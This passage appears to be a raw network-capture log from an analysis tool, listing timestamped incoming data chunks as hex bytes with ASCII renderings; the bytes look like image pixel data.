Data Ascii: Cninu=`L0>1nX3X\C}y7t[[D,0A=j477c}Zhswy\/x<7oap(Tf:AKS3bE[&&(^_Dcc#a>CSd0N5kFvtvb_}<#xp-lNkV-
B@GF|>@CC{A`|

2022-01-13 21:05:29 UTC 1665 IN Data Raw: 3d 38 e6 28 c0 db 97 af e0 e2 2b af e2 fe fd 19 2c 24 93 96 d6 0d 04 fc d8 bb 67 0f 7e ed b1 47 8a 42 af 47 ef 
a6 8d f8 fd df 3d b1 ec 65 30 36 36 86 6f fe a7 6f 58 de 8e 9a c3 1c d3 00 da 83 83 f6 df 56 01 48 92 84 78 3c be a8 d0 1f 
3d 72 18 07 f7 f7 a1 a1 a1 b2 2f 02 2d 67 19 88 62 f9 1e 13 e1 6e ea 2e 80 b9 b9 f9 ff 98 4c 2e fc 87 4a 42 df dc d4 84 bd 
1f dd 8d a3 fd 87 f1 d8 a3 8f 54 1c 7a 23 96 9b 0c c2 55 7e 7d 88 e5 47 5d 04 f0 70 df a1 1e 68 87 00 bf fc fe 9d 3b 96 ce 
07 c8 84 fe a9 27 3f 8e 3d bb 1f ac 7a e8 8d 58 2e 32 20 88 52 d4 4c 00 7c e8 61 f1 24 20 
Data Ascii: =8(+,$g~GBG=e066ooXVHx<=r/-gbn.L.JBTz#U~}G]ph;'?=zX.2 RL|a$ 

2022-01-13 21:05:29 UTC 1665 IN Data Raw: bb 42 6f 04 c9 a0 ba 38 65 fc 6b 17 4e da ff aa 0a 60 39 85 de 88 a5 24 03 49 92 2c 3f 4e bd 70 42 08 ec dc 06 
a7 ec ff a2 05 b0 d8 d0 1f dc bf 0f 87 0f ec 77 74 e8 8d 70 ba 0c 12 89 b8 e5 75 09 77 51 91 00 aa 11 fa 81 c7 fb b1 e7 c1 
07 e1 b7 78 1d 3f a7 e2 54 19 10 25 70 fb cb c9 2a 10 c0 d1 a7 8e fd dd ec cc ec 57 14 8b 3f ff b4 7d cb 47 f0 7b bf f3 db 
78 70 d7 ae 65 13 7a 23 48 06 c4 52 c1 b2 00 56 76 75 f5 ac ec ea 42 3c 1e c7 6c 3c 8e f8 6c 1c 66 64 f0 ee af ae e3 4f be
f9 2d 0c 1c e9 c7 c1 fd 7d d8 be 6d eb b2 17 01 40 32 20 9c 4d c5 35 80 c6 cc e5 a2 57 c2 b4 0c c6 27 62 f8 fe 0f fe 01 df 
ff c1 3f a0 a3 7d 05 c9 c0 cd 32 58 22 9b 59 33 1c b2 ff 55 39 0a 50 2d 19 1c 3d 72 18 db b7 6d ab c6 26 39 9e 7a c8 c0 
c9 38 e4 f3 5f 57 6e be 77 1b 37 6f bd 07 
Data Ascii: Bo8ekN`9$I,?NpBwtpuwQx?T%p*W?}G{xpez#HRVvuB<l<lfdO-}m@2 M5W'b?}2X"Y3U9P-=rm&9z8_Wnw7o

2022-01-13 21:05:29 UTC 1667 IN Data Raw: cd 9b 62 9a 1a ca 20 0a ee 0b 37 bb 1e 3a e1 80 0e 30 01 90 00 08 03 4a c8 e0 10 b4 9f 86 2b c7 10 80 73 30 
f8 96 9d db 0d e0 94 fd 27 01 10 65 e1 65 00 00 c7 3f f7 f9 1e 18 77 e3 a7 5f fb f9 19 57 7d ad 76 29 43 02 20 2c f3 c2 0f 
fe 3e 0a ad 5b 4f 2c 71 44 bb 37 80 70 1f 4e e9 fe da 85 93 f6 9f 04 40 10 2e 86 04 40 10 2e 86 6a 00 44 fd 61 ce e8 06 db
b6 0d 0e da 7f ea 01 10 84 8b a1 1e 00 61 0f 4e 68 02 ed c4 21 fb 4f 3d 00 82 70 31 24 00 82 70 31 34 04 20 6c c1 21 3d 
60 db 70 ca fe 53 0f 80 20 5c 0c 09 80 a8 3b 4e 69 fd ec da 10 27 ed 3f 09 80 20 5c 0c 09 80 20 5c 0c 09 80 70 2d 8e e9 
8a db 04 5d 13 90 b0 0d 0a 9f 33 a0 1e 00 41 b8 18 12 00 41 b8 18 12 00 41 b8 18 aa 01 10 f6 e0 94 41 b0 5d 38 64 ff 49 
00 84 2d 38 e4 f3 6f 1b 4e d9 7f 1a 02 10 75 c7 29 
Data Ascii: b 7:0J+s0'ee?w_W}v)C ,>[O,qD7pN@.@.jDaaNh!O=p1$p14 l!=`pS \;Ni'? \ \p-]3AAAA]8dI-8oNu)

2022-01-13 21:05:29 UTC 1668 IN Data Raw: 19 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 6d 28 ff e8 97 
31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff b7 6f 19 ff 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 6d 29 ff e8 97 32 ff e8 97 32 ff e8 
97 32 ff e8 97 32 ff e8 97 32 ff e8 97 32 ff e8 97 32 ff b7 
Data Ascii: m(1111111om)2222222

2022-01-13 21:05:29 UTC 1669 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 6e 2b ff e8 99 36 ff e8 99 36 ff e8 99 36 ff e8 99 36 ff e8 
99 36 ff e8 99 36 ff e8 99 36 ff b7 71 1c ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 a6 6e 2b ff e8 99 36 ff e8 99 36 ff e8 99 36 ff e8 99 36 ff e8 99 36 ff e8 99 36 ff e8 99 36 ff b7 71 1c ff 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: n+6666666qn+6666666q

2022-01-13 21:05:29 UTC 1671 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 63 5d 30 66 63 5d 8f 5f 5c 56 bf 4e 4a 43 ff 43 
3f 38 bf 40 3c 35 8f a6 6e 2d ff e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff b7 72 1e ff 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a6 6e 2d ff e8 9b 39 ff e8 9b 39 ff 
e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff e8 9b 39 ff b7 72 1e ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 63 5d 30 66 63 5d 8f 66 63 5d df 3e 3b 35 ff 30 2d 28 cf 
30 2d 28 70 30 2d 28 20 00 00 00 00 00 00 00 
Data Ascii: fc]0fc]_\VNJCC?8@<5n-9999999rn-9999999rfc]0fc]fc]>;50-(0-(p0-( 

2022-01-13 21:05:29 UTC 1672 IN Data Raw: 3c 35 ff 40 3c 35 ff 40 3c 35 df 40 3c 35 8f 40 3c 35 30 a6 6f 2f ff e8 9c 3d ff e8 9c 3d ff e8 9c 3d ff e8 9c 3d ff 
e8 9c 3d ff e8 9c 3d ff e8 9c 3d ff b7 73 21 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 66 63 5d 30 66 63 5d 8f 66 
63 5d df 66 63 5d ff 66 63 5d ff 5a 57 51 ff 4e 4b 44 ff 42 3e 38 ff 64 61 5b ff ab aa a7 ff e7 e7 e6 ff ff ff ff ff ff ff ff ff ff ff ff ff 
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ed ed ed ff 90 8d 8a ff 45 41 3b ff bd bb b8 ff e4 e3 e1 
ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e1 e0 de ff d1 d0 ce ff c0 bf bd ff af ae ad ff a6 70 30 ff e8 9d 3e ff e8 9d 3e ff e8 9d 3e 
ff e8 9d 3e ff e8 9d 3e ff e8 9d 3e ff e8 9d 3e ff b7 73 21 ff ab aa a9 ff 9e 9c 9b ff 
Data Ascii: <5@<5@<5@<5@<50o/=======s!fc]0fc]fc]fc]fc]ZWQNKDB>8da[EA;p0>>>>>>>s!

2022-01-13 21:05:29 UTC 1673 IN Data Raw: b0 ff c8 c6 c3 ff 9c 9a 96 ff 31 2f 29 ff 3b 38 31 ff 60 5d 57 ff 93 91 8d ff 60 5c 57 ff 49 45 3f ff 48 44 3e ff 44 41 
3b ff 3d 3a 34 ff 36 33 2d ff 33 30 2a ff 33 30 2b ff 37 34 2e ff 3d 3a 34 ff 43 40 3a ff 42 3f 39 ff 3d 39 34 ff 6d 6b 67 ff a3 a1 
9e ff d9 d8 d6 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e1 e0 de ff d1 d0 ce ff c0 bf bd ff af ae ad ff a6 70 32 ff e8 9e 
41 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff b7 74 24 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab 
aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff a6 70 32 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff e8 9e 41 ff 
e8 9e 41 ff b7 74 24 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 e3 e1 ff 
e4 
Data Ascii: 1/);81`]W`\WIE?HD>DA;=:463-30*30+74.=:4C@:B?9=94mkgp2AAAAAAAt$p2AAAAAAAt$

Timestamp
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2022-01-13 21:05:29 UTC 1675 IN Data Raw: ff 6d 6a 64 ff 4b 6f 42 ff 4c de 4a ff 58 78 51 ff 60 5d 57 ff 4e 4a 44 ff 43 3f 39 ff 40 3c 35 ff 40 3c 35 ff 40 3c 35 
ff 54 51 4b ff 7c 7a 76 ff 9e 9c 9b ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a
9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 e3 e1 ff 
e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff a9 a7 a5 ff d8 d7 d5 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 
ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff d0 ce cc ff 9f 9c 98 ff 6d 6a 64 ff 5a 57 51 
ff 66 63 
Data Ascii: mjdKoBLJXxQ`]WNJDC?9@<5@<5@<5TQK|zvmjdZWQfc

2022-01-13 21:05:29 UTC 1676 IN Data Raw: 40 3c 35 ff 40 3c 35 ff 40 3c 35 ff 54 51 4b ff 7c 7a 76 ff a4 a3 a2 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 e3 e1 ff e4 
e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff d0 ce cc ff 9f 9c 98 ff 6d 6a 64 ff 5a 57 51 ff 66 63 5d ff 66 63 5d ff 66 63 5d ff 69 66 61 ff 7a 
77 72 ff 80 7d 78 ff 79 76 72 ff 65 62 5c ff 5c 59 53 ff 5b 58 52 ff 5a 56 50 ff 59 56 4f ff 58 55 4f ff 57 53 4e ff 53 50 4b ff 4e 
4b 46 ff 5a 58 54 ff 91 90 8e ff d0 d0 cf ff e5 d3 c4 ff e5 d3 c4 ff cc cc cc ff 80 80 7f ff 38 38 38 ff 20 20 20 ff 27 27 25 ff 37 
35 31 ff 43 40 3a ff 47 44 3d ff 47 43 3c ff 46 42 3b ff 45 42 3b ff 45 41 3a ff 44 40 3a ff 44 40 39 ff 49 45 3e ff 64 61 5b ff 
63 60 5a 
Data Ascii: @<5@<5@<5TQK|zvmjdZWQfc]fc]fc]ifazwr}xyvreb\\YS[XRZVPYVOXUOWSNSPKNKFZXT888   '
'%751C@:GD=GC<FB;EB;EA:D@:D@9IE>da[c`Z

2022-01-13 21:05:29 UTC 1677 IN Data Raw: 5a 54 ff 5c 59 53 ff 5b 58 51 ff 5a 56 50 ff 58 55 4e ff 55 52 4c ff 4d 4a 45 ff 46 43 3e ff 3c 3a 36 ff 39 37 33 ff 
31 2f 2d ff 61 60 5f ff a6 a6 a6 ff eb df d7 ff ff d4 ba ff fe b0 81 ff fe a1 68 ff fe b4 85 ff fe c6 a0 ff ff cf a9 ff fe d0 af ff ff e6 cc 
ff ff ef d7 ff ff ef d8 ff ff f1 dc ff e1 d4 c2 ff a7 9f 94 ff 73 6f 68 ff 57 53 4d ff 49 46 3f ff 42 3e 37 ff 42 3e 37 ff 42 3e 37 ff 41 
3d 36 ff 41 3d 36 ff 41 3d 36 ff 40 3d 36 ff 40 3c 35 ff 40 3c 35 ff 40 3c 35 df 40 3c 35 8f 40 3c 35 30 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5f 5c 56 50 5e 5b 54 9f 5c 
59 52 ef 
Data Ascii: ZT\YS[XQZVPXUNURLMJEFC><:69731/-a`_hsohWSMIF?B>7B>7B>7A=6A=6A=6@=6@<5@<5@<5@<5
@<50_\VP^[T\YR

2022-01-13 21:05:29 UTC 1679 IN Data Raw: 36 ff 41 3d 36 ff 41 3d 36 df 41 3d 36 8f 40 3c 35 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 41 3a 50 44 40 39 9f 43 40 39 ef 43 3f 38 ff 43 3f 38 ff 
42 3e 37 ff 42 3e 37 ff 41 3d 36 ff 41 3d 36 ff 41 3d 36 df 41 
Data Ascii: 6A=6A=6A=6@<50EA:PD@9C@9C?8C?8B>7B>7A=6A=6A=6A

2022-01-13 21:05:29 UTC 1680 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 

2022-01-13 21:05:29 UTC 1681 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 

2022-01-13 21:05:29 UTC 1683 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 

2022-01-13 21:05:29 UTC 1684 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 c7 82 2d ff e8 97 31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff c7 7d 21 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 c7 82 2d ff e8 97 31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff e8 97 31 ff c7 7d 21 ff 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: -11111}!-11111}!

2022-01-13 21:05:29 UTC 1685 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 84 32 ff e8 9a 38 ff e8 9a 38 ff e8 9a 38 ff e8 9a 38 ff e8 9a 38 ff c7 7f 26 
ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 84 32 ff e8 9a 38 ff e8 9a 38 ff e8 9a 38 ff e8 9a 38 ff 
e8 9a 38 ff c7 7f 26 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 288888&288888&

2022-01-13 21:05:29 UTC 1687 IN Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff f4 f3 f3 ff bb b9 b7 ff 82 7f 7b ff 49 45 3f ff 47 43 3d ff 41 3d 37 ff 39 36 30 ff e4 e3 e1 ff 
e4 e3 e1 ff e4 e3 e1 ff df de dc ff c9 c8 c6 ff c2 c1 bf ff c7 86 38 ff e8 9d 3f ff e8 9d 3f ff e8 9d 3f ff e8 9d 3f ff e8 9d 3f ff c7 
81 2b ff bc bb ba ff ab aa a9 ff ab aa a9 ff ab aa a9 ff b7 b6 b4 ff c7 86 38 ff e8 9d 3f ff e8 9d 3f ff e8 9d 3f ff e8 9d 3f ff e8 9
d 3f ff c7 81 2b ff 00 00 00 00 00 00 00 00 40 3c 35 10 40 3c 35 60 40 3c 35 af 4c 48 42 ff 88 85 81 ff c3 c2 c0 ff ff ff ff ff ff 
ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f4 f3 f3 ff bb b9 b7 ff 82 7f 7b ff 49 45 3f ff 47 43 3d ff 41 3d 37 ff 39 36 30 ff 34 31 2b ff 35 32 
2d ff 3c 39 33 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff df de dc ff c9 c8 c6 ff c2 c1 bf 
Data Ascii: {IE?GC=A=79608?????+8?????+@<5@<5`@<5LHB{IE?GC=A=796041+52-<93

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:29 UTC 1688 IN Data Raw: c4 c1 ff 8d 8a 85 ff 65 62 5c ff 5f 5c 56 ff 66 63 5d ff 5b 7d 53 ff 5e b6 5a ff 79 76 71 ff 77 73 6f ff 67 63 5e ff 5d 
59 53 ff 40 3c 35 ff 40 3c 35 ff 40 3c 35 ff 54 51 4b ff 7c 7a 76 ff 9e 9c 9b ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab 
aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff 
e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff c5 c4 c1 ff 8d 8a 85 ff 65 62 5c ff 5f 5c 56 ff 66 63 5d ff 69 66 61 ff 7a 77 72 ff 77 74 6f ff 
73 70 6a ff 5d 5a 54 ff 57 54 4e ff 56 52 4c ff 54 51 4a ff 5c 58 52 ff 6c 68 63 ff 6b 68 62 ff 5d 59 53 ff 40 3c 35 ff 40 3c 35 ff 
Data Ascii: eb\_\Vfc][}S^Zyvqwsogc^]YS@<5@<5@<5TQK|zveb\_\Vfc]ifazwrwtospj]ZTWTNVRLTQJ\XRlhckhb]YS@<
5@<5

2022-01-13 21:05:29 UTC 1692 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: 

2022-01-13 21:05:29 UTC 1696 IN Data Raw: ff 63 93 5d ff 6f 8c 68 ff 6a 67 61 ff 68 64 5f ff 6b 67 62 ff 51 4d 47 ff 40 3c 35 ff 40 3c 35 ff 61 5e 59 ff 83 81 7e 
ff a4 a3 a2 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e
1 ff e4 e3 e1 ff d0 ce cc ff 9f 9c 98 ff 6d 6a 64 ff 5a 57 51 ff 66 63 5d ff 77 74 6f ff 7c 79 74 ff 74 71 6c ff 61 5e 58 ff 57 54 
4e ff 55 52 4c ff 54 50 4a ff 52 4e 48 ff 5e 5b 55 ff 6e 6b 66 ff 6a 66 61 ff 51 4d 47 ff 40 3c 35 ff 40 3c 35 ff 61 5e 59 ff 83 
81 7e ff a4 a3 a2 ff ab aa a9 ff ab aa a9 ff ab aa a9 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 
Data Ascii: c]ohjgahd_kgbQMG@<5@<5a^Y~mjdZWQfc]wto|yttqla^XWTNURLTPJRNH^[UnkfjfaQMG@<5@<5a^Y~

2022-01-13 21:05:29 UTC 1697 IN Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5e 5b 55 20 5c 58 52 70 59 55 4f cf 
56 53 4d ff 55 51 4b ff 53 4f 49 ff 51 4d 47 ff 4e 4a 44 ff 46 43 3d ff 3f 3c 36 ff 36 34 2f ff 5b 59 55 ff a7 a6 a3 ff e3 c4 b1 ff 
e0 aa 89 ff a5 7e 62 ff 6c 5f 54 ff 50 4c 46 ff 45 41 3a ff 42 3e 37 ff 41 3d 36 ff 41 3d 36 ff 41 3d 36 ff 40 3c 35 df 40 3c 35 8
f 40 3c 35 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 53 50 49 20 51 4e 
47 70 4f 4b 45 cf 4d 4a 43 ff 4c 48 41 ff 4a 47 40 ff 49 45 3f ff 47 43 3c ff 40 3d 36 ff 39 36 31 ff 53 50 4a ff 50 4d 46 ff 45 
41 3a ff 42 3e 37 ff 42 3e 37 
Data Ascii: ^[U \XRpYUOVSMUQKSOIQMGNJDFC=?<664/[YU~bl_TPLFEA:B>7A=6A=6A=6@<5@<5@<50SPI QNG
pOKEMJCLHAJG@IE?GC<@=6961SPJPMFEA:B>7B>7

2022-01-13 21:05:29 UTC 1701 IN Data Raw: 84 31 ff b7 75 24 ff c4 c3 c3 ff ab aa a9 ff c4 c3 c3 ff b7 7c 35 ff c7 86 37 ff c7 85 34 ff c7 84 31 ff b7 75 24 ff 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e4 e3 e1 ff e4 e3 e1 ff 25 23 1f ff 38 35 2f ff 39 36 30 ff 3b 38 32 ff 50 4d 49 
ff 83 81 7d ff c4 c2 c0 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e4 e3 e1 ff e6 e5 e4 ff ce ce cd ff c4 c3 c3 ff c4 c3 c3 
